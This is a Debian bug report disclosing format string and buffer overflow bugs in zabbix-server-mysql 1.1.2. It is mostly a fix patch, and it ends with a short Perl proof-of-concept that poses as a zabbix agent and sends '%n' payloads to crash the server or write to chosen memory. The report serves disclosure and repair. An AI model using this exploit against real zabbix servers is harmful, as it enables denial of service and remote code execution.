Subject: zabbix-server-mysql: remote security problems
Package: zabbix-server-mysql
Version: 1:1.1.2-2
Severity: grave
Justification: user security hole
Tags: security patch
Hello,
Max Vozeler and Ulf Harnhammar from the Debian Security Audit Project
have found a number of format string bugs and buffer overflows
affecting zabbix. They allow malicious attackers to cause crashes or
remote execution of arbitrary code.
Here is a test exploit in Perl. If it is run on a machine instead of
the zabbix agent, a format string bug allows the agent to use "%n"
in the format string to crash the server or to write to arbitrary
memory locations, allowing for code execution. I have also attached
a patch which corrects all known security issues in zabbix-1.1.2.
// Max Vozeler and Ulf Harnhammar for the Debian Security Audit Project
http://www.debian.org/security/audit/
-- System Information:
Debian Release: testing/unstable
APT prefers testing
APT policy: (500, 'testing')
Architecture: i386 (i686)
Shell: /bin/sh linked to /bin/bash
Kernel: Linux 2.6.12-1-686
Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1)
Versions of packages zabbix-server-mysql depends on:
ii adduser 3.97 Add and remove users and groups
ii dbconfig-common 1.8.23 common framework for packaging dat
ii debconf [debconf-2.0] 1.5.5 Debian configuration management sy
ii fping 2.4b2-to-ipv6-14 sends ICMP ECHO_REQUEST packets to
ii libc6 2.3.6.ds1-4 GNU C Library: Shared libraries
ii libldap2 2.1.30-13+b1 OpenLDAP libraries
ii libmysqlclient15off 5.0.24a-4 mysql database client library
ii libsnmp9 5.2.3-1 NET SNMP (Simple Network Managemen
ii logrotate 3.7.1-3 Log rotation utility
Versions of packages zabbix-server-mysql recommends:
ii mysql-server 5.0.24a-4 mysql database server (current ver
ii mysql-server-5.0 [mysql-serve 5.0.24a-4 mysql database server binaries
ii snmpd 5.2.3-1 NET SNMP (Simple Network Managemen
-- debconf information:
zabbix-server-mysql/upgrade-error: abort
zabbix-server-mysql/dbconfig-reinstall: false
zabbix-server-mysql/upgrade-backup: true
zabbix-server-mysql/mysql/admin-user: root
zabbix-server-mysql/remote/port:
zabbix-server-mysql/remote/host:
zabbix-server-mysql/db/dbname: zabbix
zabbix-server-mysql/dbconfig-remove:
zabbix-server-mysql/db/app-user: zabbix
zabbix-server-mysql/database-type: mysql
zabbix-server-mysql/remove-error: abort
zabbix-server-mysql/remote/newhost:
zabbix-server-mysql/purge: false
zabbix-server-mysql/internal/reconfiguring: false
zabbix-server-mysql/install-error: retry
zabbix-server-mysql/passwords-do-not-match:
* zabbix-server-mysql/dbconfig-install: true
zabbix-server-mysql/mysql/method: unix socket
zabbix-server-mysql/dbconfig-upgrade: true
--- src/libs/zbxlog/log.c.old 2006-09-12 13:09:35.000000000 +0200
+++ src/libs/zbxlog/log.c 2006-10-05 20:45:04.000000000 +0200
@@ -101,10 +101,10 @@ void zabbix_log(int level, const char *f
if(log_type == LOG_TYPE_SYSLOG)
{
va_start(ap,fmt);
- vsprintf(str,fmt,ap);
- strncat(str,"\n",MAX_BUF_LEN);
+ vsnprintf(str,sizeof(str)-2,fmt,ap);
+ strcat(str,"\n");
str[MAX_BUF_LEN-1]=0;
- syslog(LOG_DEBUG,str);
+ syslog(LOG_DEBUG,"%s",str);
va_end(ap);
}
else if(log_type == LOG_TYPE_FILE)
--- src/zabbix_server/poller/checks_agent.c.old 2006-09-12 13:09:35.000000000
+0200
+++ src/zabbix_server/poller/checks_agent.c 2006-10-05 20:48:56.000000000
+0200
@@ -70,11 +70,11 @@ int get_value_agent(DB_ITEM *item, AGENT
{
#ifdef HAVE_HSTRERROR
snprintf(error,MAX_STRING_LEN-1,"gethostbyname() failed [%s]",
hstrerror(h_errno));
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
result->msg=strdup(error);
#else
snprintf(error,MAX_STRING_LEN-1,"gethostbyname() failed [%d]",
h_errno);
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
result->msg=strdup(error);
#endif
return NETWORK_ERROR;
@@ -98,7 +98,7 @@ int get_value_agent(DB_ITEM *item, AGENT
if(s == -1)
{
snprintf(error,MAX_STRING_LEN-1,"Cannot create socket [%s]",
strerror(errno));
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
result->msg=strdup(error);
return FAIL;
}
@@ -109,17 +109,17 @@ int get_value_agent(DB_ITEM *item, AGENT
{
case EINTR:
snprintf(error,MAX_STRING_LEN-1,"Timeout while
connecting to [%s]",item->host);
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
result->msg=strdup(error);
break;
case EHOSTUNREACH:
snprintf(error,MAX_STRING_LEN-1,"No route to
host [%s]",item->host);
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
result->msg=strdup(error);
break;
default:
snprintf(error,MAX_STRING_LEN-1,"Cannot connect
to [%s] [%s]",item->host, strerror(errno));
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
result->msg=strdup(error);
}
close(s);
@@ -134,12 +134,12 @@ int get_value_agent(DB_ITEM *item, AGENT
{
case EINTR:
snprintf(error,MAX_STRING_LEN-1,"Timeout while
sending data to [%s]",item->host);
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
result->msg=strdup(error);
break;
default:
snprintf(error,MAX_STRING_LEN-1,"Error while
sending data to [%s] [%s]",item->host, strerror(errno));
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
result->msg=strdup(error);
}
close(s);
@@ -154,18 +154,18 @@ int get_value_agent(DB_ITEM *item, AGENT
{
case EINTR:
snprintf(error,MAX_STRING_LEN-1,"Timeout while receiving data from
[%s]",item->host);
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s",
error);
result->msg=strdup(error);
break;
case ECONNRESET:
snprintf(error,MAX_STRING_LEN-1,"Connection reset by peer.");
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s",
error);
result->msg=strdup(error);
close(s);
return NETWORK_ERROR;
default:
snprintf(error,MAX_STRING_LEN-1,"Error while
receiving data from [%s] [%s]",item->host, strerror(errno));
- zabbix_log(LOG_LEVEL_WARNING, error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
result->msg=strdup(error);
}
close(s);
@@ -204,7 +204,7 @@ int get_value_agent(DB_ITEM *item, AGENT
else if(c[0]==0)
{
snprintf(error,MAX_STRING_LEN-1,"Got empty string from [%s] IP
[%s] Parameter [%s]", item->host, item->ip, item->key);
- zabbix_log( LOG_LEVEL_WARNING, error);
+ zabbix_log( LOG_LEVEL_WARNING, "%s", error);
zabbix_log( LOG_LEVEL_WARNING, "Assuming that agent dropped
connection because of access permissions");
result->msg=strdup(error);
return NETWORK_ERROR;
@@ -213,7 +213,7 @@ int get_value_agent(DB_ITEM *item, AGENT
if(set_result_type(result, item->value_type, c) == FAIL)
{
snprintf(error,MAX_STRING_LEN-1, "Type of received value [%s]
is not sutable for [EMAIL PROTECTED] having type [%d]", c, item->key,
item->host, item->value_type);
- zabbix_log( LOG_LEVEL_WARNING, error);
+ zabbix_log( LOG_LEVEL_WARNING, "%s", error);
zabbix_log( LOG_LEVEL_WARNING, "Returning NOTSUPPORTED");
result->msg=strdup(error);
return NOTSUPPORTED;
--- src/zabbix_server/poller/checks_simple.c.old 2006-09-12
13:09:35.000000000 +0200
+++ src/zabbix_server/poller/checks_simple.c 2006-10-05 20:50:55.000000000
+0200
@@ -77,7 +77,7 @@ int get_value_simple(DB_ITEM *item, AGEN
else
{
snprintf(error,MAX_STRING_LEN-1,"You must use IP
address in Host %s definition", item->host);
- zabbix_log( LOG_LEVEL_WARNING, error);
+ zabbix_log( LOG_LEVEL_WARNING, "%s", error);
result->str=strdup(error);
return NOTSUPPORTED;
}
@@ -111,7 +111,7 @@ int get_value_simple(DB_ITEM *item, AGEN
else
{
snprintf(error,MAX_STRING_LEN-1,"Port number
must be numeric in [%s]", item->key);
- zabbix_log( LOG_LEVEL_WARNING, error);
+ zabbix_log( LOG_LEVEL_WARNING, "%s", error);
result->str=strdup(error);
ret = NOTSUPPORTED;
}
@@ -119,7 +119,7 @@ int get_value_simple(DB_ITEM *item, AGEN
else
{
snprintf(error,MAX_STRING_LEN-1,"Too many parameters in
[%s]", item->key);
- zabbix_log( LOG_LEVEL_WARNING, error);
+ zabbix_log( LOG_LEVEL_WARNING, "%s", error);
result->str=strdup(error);
ret = NOTSUPPORTED;
}
@@ -190,7 +190,7 @@ int get_value_simple(DB_ITEM *item, AGEN
if(process(c, 0, result) == NOTSUPPORTED)
{
snprintf(error,MAX_STRING_LEN-1,"Simple check [%s] is not
supported", c);
- zabbix_log( LOG_LEVEL_WARNING, error);
+ zabbix_log( LOG_LEVEL_WARNING, "%s", error);
result->str=strdup(error);
ret = NOTSUPPORTED;
}
--- src/zabbix_server/poller/checks_internal.c.old 2006-09-12
13:09:35.000000000 +0200
+++ src/zabbix_server/poller/checks_internal.c 2006-10-05 20:52:08.000000000
+0200
@@ -82,7 +82,7 @@ int get_value_internal(DB_ITEM *item, AG
else
{
snprintf(error,MAX_STRING_LEN-1,"Internal check [%s] is not
supported", item->key);
- zabbix_log( LOG_LEVEL_WARNING, error);
+ zabbix_log( LOG_LEVEL_WARNING, "%s", error);
SET_STR_RESULT(result, strdup(error));
return NOTSUPPORTED;
}
--- src/zabbix_server/poller/checks_snmp.c.old 2006-09-12 13:09:35.000000000
+0200
+++ src/zabbix_server/poller/checks_snmp.c 2006-10-05 20:54:55.000000000
+0200
@@ -73,7 +73,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
{
snprintf(error,MAX_STRING_LEN-1,"Error in get_value_SNMP. Wrong
item type [%d]. Must be SNMP.", item->type);
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
return FAIL;
@@ -138,7 +138,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
{
snprintf(error,MAX_STRING_LEN-1,"Error
generating Ku from authentication pass phrase.");
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
return FAIL;
@@ -161,7 +161,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
{
snprintf(error,MAX_STRING_LEN-1,"Error
generating Ku from authentication pass phrase.");
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
return FAIL;
@@ -180,7 +180,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
{
snprintf(error,MAX_STRING_LEN-1,"Error
generating Ku from priv pass phrase.");
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
return FAIL;
@@ -191,7 +191,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
else
{
snprintf(error,MAX_STRING_LEN-1,"Error in get_value_SNMP.
Unsupported session.version [%d]",(int)session.version);
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
return FAIL;
@@ -207,7 +207,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
SOCK_CLEANUP;
snprintf(error,MAX_STRING_LEN-1,"Error doing snmp_open()");
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
return FAIL;
@@ -323,14 +323,14 @@ int get_value_snmp(DB_ITEM *item, AGENT_
else
{
snprintf(error,MAX_STRING_LEN-1,"Cannot allocate required memory");
- zabbix_log( LOG_LEVEL_ERR,
error);
+ zabbix_log( LOG_LEVEL_ERR,
"%s", error);
SET_MSG_RESULT(value,
strdup(error));
}
}
else if(item->value_type != ITEM_VALUE_TYPE_STR)
{
snprintf(error,MAX_STRING_LEN-1,"Cannot
store SNMP string value (ASN_OCTET_STR) in item having numeric type");
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
ret = NOTSUPPORTED;
@@ -348,7 +348,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
else
{
snprintf(error,MAX_STRING_LEN-1,"Cannot allocate required memory");
- zabbix_log( LOG_LEVEL_ERR,
error);
+ zabbix_log( LOG_LEVEL_ERR,
"%s", error);
SET_MSG_RESULT(value,
strdup(error));
}
}
@@ -364,7 +364,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
if(item->value_type != ITEM_VALUE_TYPE_STR)
{
snprintf(error,MAX_STRING_LEN-1,"Cannot
store SNMP string value (ASN_IPADDRESS) in item having numeric type");
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
ret = NOTSUPPORTED;
}
@@ -381,7 +381,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
else
{
snprintf(error,MAX_STRING_LEN-1,"Cannot allocate required memory");
- zabbix_log( LOG_LEVEL_ERR,
error);
+ zabbix_log( LOG_LEVEL_ERR,
"%s", error);
SET_MSG_RESULT(value,
strdup(error));
}
}
@@ -393,7 +393,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
snprintf(error,MAX_STRING_LEN-1,"OID [%s] value
#%d has unknow type [%X]",item->snmp_oid, count,vars->type);
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
ret = NOTSUPPORTED;
@@ -410,7 +410,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
{
snprintf(error,MAX_STRING_LEN-1,"SNMP error
[%s]", snmp_errstring(response->errstat));
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
ret=NOTSUPPORTED;
@@ -419,7 +419,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
{
snprintf(error,MAX_STRING_LEN-1,"SNMP error
[%s]", snmp_errstring(response->errstat));
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
ret=FAIL;
@@ -430,7 +430,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
snprintf(error,MAX_STRING_LEN-1,"Timeout while
connecting to [%s]",session.peername);
/* snmp_sess_perror("snmpget", ss);*/
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
ret = NETWORK_ERROR;
@@ -439,7 +439,7 @@ int get_value_snmp(DB_ITEM *item, AGENT_
{
snprintf(error,MAX_STRING_LEN-1,"SNMP error
[%d]",status);
- zabbix_log( LOG_LEVEL_ERR, error);
+ zabbix_log( LOG_LEVEL_ERR, "%s", error);
SET_MSG_RESULT(value, strdup(error));
ret=FAIL;
--- src/zabbix_server/expression.c.old 2006-09-12 13:09:35.000000000 +0200
+++ src/zabbix_server/expression.c 2006-10-05 21:04:21.000000000 +0200
@@ -162,8 +162,8 @@ int evaluate_simple (double *result,char
second[j]=0;*/
if( evaluate_simple(&value1,first,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( value1 == 1)
@@ -173,8 +173,8 @@ int evaluate_simple (double *result,char
}
if( evaluate_simple(&value2,second,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( value2 == 1)
@@ -197,14 +197,14 @@ int evaluate_simple (double *result,char
zabbix_log(LOG_LEVEL_DEBUG, "[%s] [%s]",first,second );
if( evaluate_simple(&value1,first,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( evaluate_simple(&value2,second,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( (value1 == 1) && (value2 == 1) )
@@ -227,14 +227,14 @@ int evaluate_simple (double *result,char
strscpy( second, p);
if( evaluate_simple(&value1,first,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( evaluate_simple(&value2,second,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( value1 > value2 )
@@ -258,14 +258,14 @@ int evaluate_simple (double *result,char
zabbix_log(LOG_LEVEL_DEBUG, "[%s] [%s]",first,second );
if( evaluate_simple(&value1,first,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( evaluate_simple(&value2,second,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( value1 < value2 )
@@ -289,14 +289,14 @@ int evaluate_simple (double *result,char
strscpy( second, p);
if( evaluate_simple(&value1,first,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( evaluate_simple(&value2,second,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
*result=value1*value2;
@@ -312,21 +312,21 @@ int evaluate_simple (double *result,char
strscpy( second, p);
if( evaluate_simple(&value1,first,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( evaluate_simple(&value2,second,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if(cmp_double(value2,0) == 0)
{
snprintf(error,maxerrlen-1,"Division by zero. Cannot
evaluate expression [%s/%s]", first,second);
- zabbix_log(LOG_LEVEL_WARNING, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
else
@@ -345,14 +345,14 @@ int evaluate_simple (double *result,char
strscpy( second, p);
if( evaluate_simple(&value1,first,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( evaluate_simple(&value2,second,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
*result=value1+value2;
@@ -368,14 +368,14 @@ int evaluate_simple (double *result,char
strscpy( second, p);
if( evaluate_simple(&value1,first,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( evaluate_simple(&value2,second,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
*result=value1-value2;
@@ -391,14 +391,14 @@ int evaluate_simple (double *result,char
strscpy( second, p);
if( evaluate_simple(&value1,first,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( evaluate_simple(&value2,second,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( cmp_double(value1,value2) ==0 )
@@ -421,14 +421,14 @@ int evaluate_simple (double *result,char
strscpy( second, p);
if( evaluate_simple(&value1,first,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( evaluate_simple(&value2,second,error,maxerrlen) == FAIL )
{
- zabbix_log(LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( cmp_double(value1,value2) != 0 )
@@ -444,8 +444,8 @@ int evaluate_simple (double *result,char
else
{
snprintf(error,maxerrlen-1,"Format error or unsupported
operator. Exp: [%s]", exp);
- zabbix_log(LOG_LEVEL_WARNING, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
return SUCCEED;
@@ -493,8 +493,8 @@ int evaluate(int *result,char *exp, char
if( r == -1 )
{
snprintf(error, maxerrlen-1, "Cannot find left bracket
[(]. Expression:[%s]", exp);
- zabbix_log(LOG_LEVEL_WARNING, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
for(i=l+1;i<r;i++)
@@ -506,8 +506,8 @@ int evaluate(int *result,char *exp, char
if( evaluate_simple( &value, simple, error, maxerrlen ) !=
SUCCEED )
{
/* Changed to LOG_LEVEL_DEBUG */
- zabbix_log( LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log( LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
@@ -529,8 +529,8 @@ int evaluate(int *result,char *exp, char
}
if( evaluate_simple( &value, res, error, maxerrlen ) != SUCCEED )
{
- zabbix_log(LOG_LEVEL_WARNING, error);
- zabbix_syslog(error);
+ zabbix_log(LOG_LEVEL_WARNING, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
zabbix_log( LOG_LEVEL_DEBUG, "Evaluate end:[%lf]", value );
@@ -894,15 +894,15 @@ int substitute_functions(char *exp, char
if( r == FAIL )
{
snprintf(error,maxerrlen-1,"Cannot find right bracket.
Expression:[%s]", exp);
- zabbix_log( LOG_LEVEL_WARNING, error);
- zabbix_syslog(error);
+ zabbix_log( LOG_LEVEL_WARNING, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
if( r < l )
{
snprintf(error,maxerrlen-1, "Right bracket is before
left one. Expression:[%s]", exp);
- zabbix_log( LOG_LEVEL_WARNING, error);
- zabbix_syslog(error);
+ zabbix_log( LOG_LEVEL_WARNING, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
@@ -916,8 +916,8 @@ int substitute_functions(char *exp, char
{
/* It may happen because of functions.lastvalue is NULL, so this is not
warning */
snprintf(error,maxerrlen-1, "Unable to get value for
functionid [%s]", functionid);
- zabbix_log( LOG_LEVEL_DEBUG, error);
- zabbix_syslog(error);
+ zabbix_log( LOG_LEVEL_DEBUG, "%s", error);
+ zabbix_syslog("%s", error);
return FAIL;
}
--- src/zabbix_server/zlog.c.old 2006-09-12 13:09:35.000000000 +0200
+++ src/zabbix_server/zlog.c 2006-10-05 21:08:18.000000000 +0200
@@ -71,7 +71,7 @@ void zabbix_syslog(const char *fmt, ...)
DBget_item_from_db(&item,row);
va_start(ap,fmt);
- vsprintf(value_str,fmt,ap);
+ vsnprintf(value_str,sizeof(value_str),fmt,ap);
value_str[MAX_STRING_LEN-1]=0;
va_end(ap);
#!/usr/bin/perl --
# zabbix-exploiter
# by Ulf Harnhammar in 2006
# I hereby place this program in the public domain.
use IO::Socket;
$server = IO::Socket::INET->new( Proto => 'tcp',
LocalPort => 10050,
Listen => SOMAXCONN,
Reuse => 1);
die "can't create server\n" if !$server;
while ($client = $server->accept())
{
$client->autoflush(1);
$key = <$client>; print $key;
print $client 'UUUU%16$n'; # writes data to 0x55555555, at least on Debian testing
# print $client '%n%n%n%n'; # crashes
close $client;
}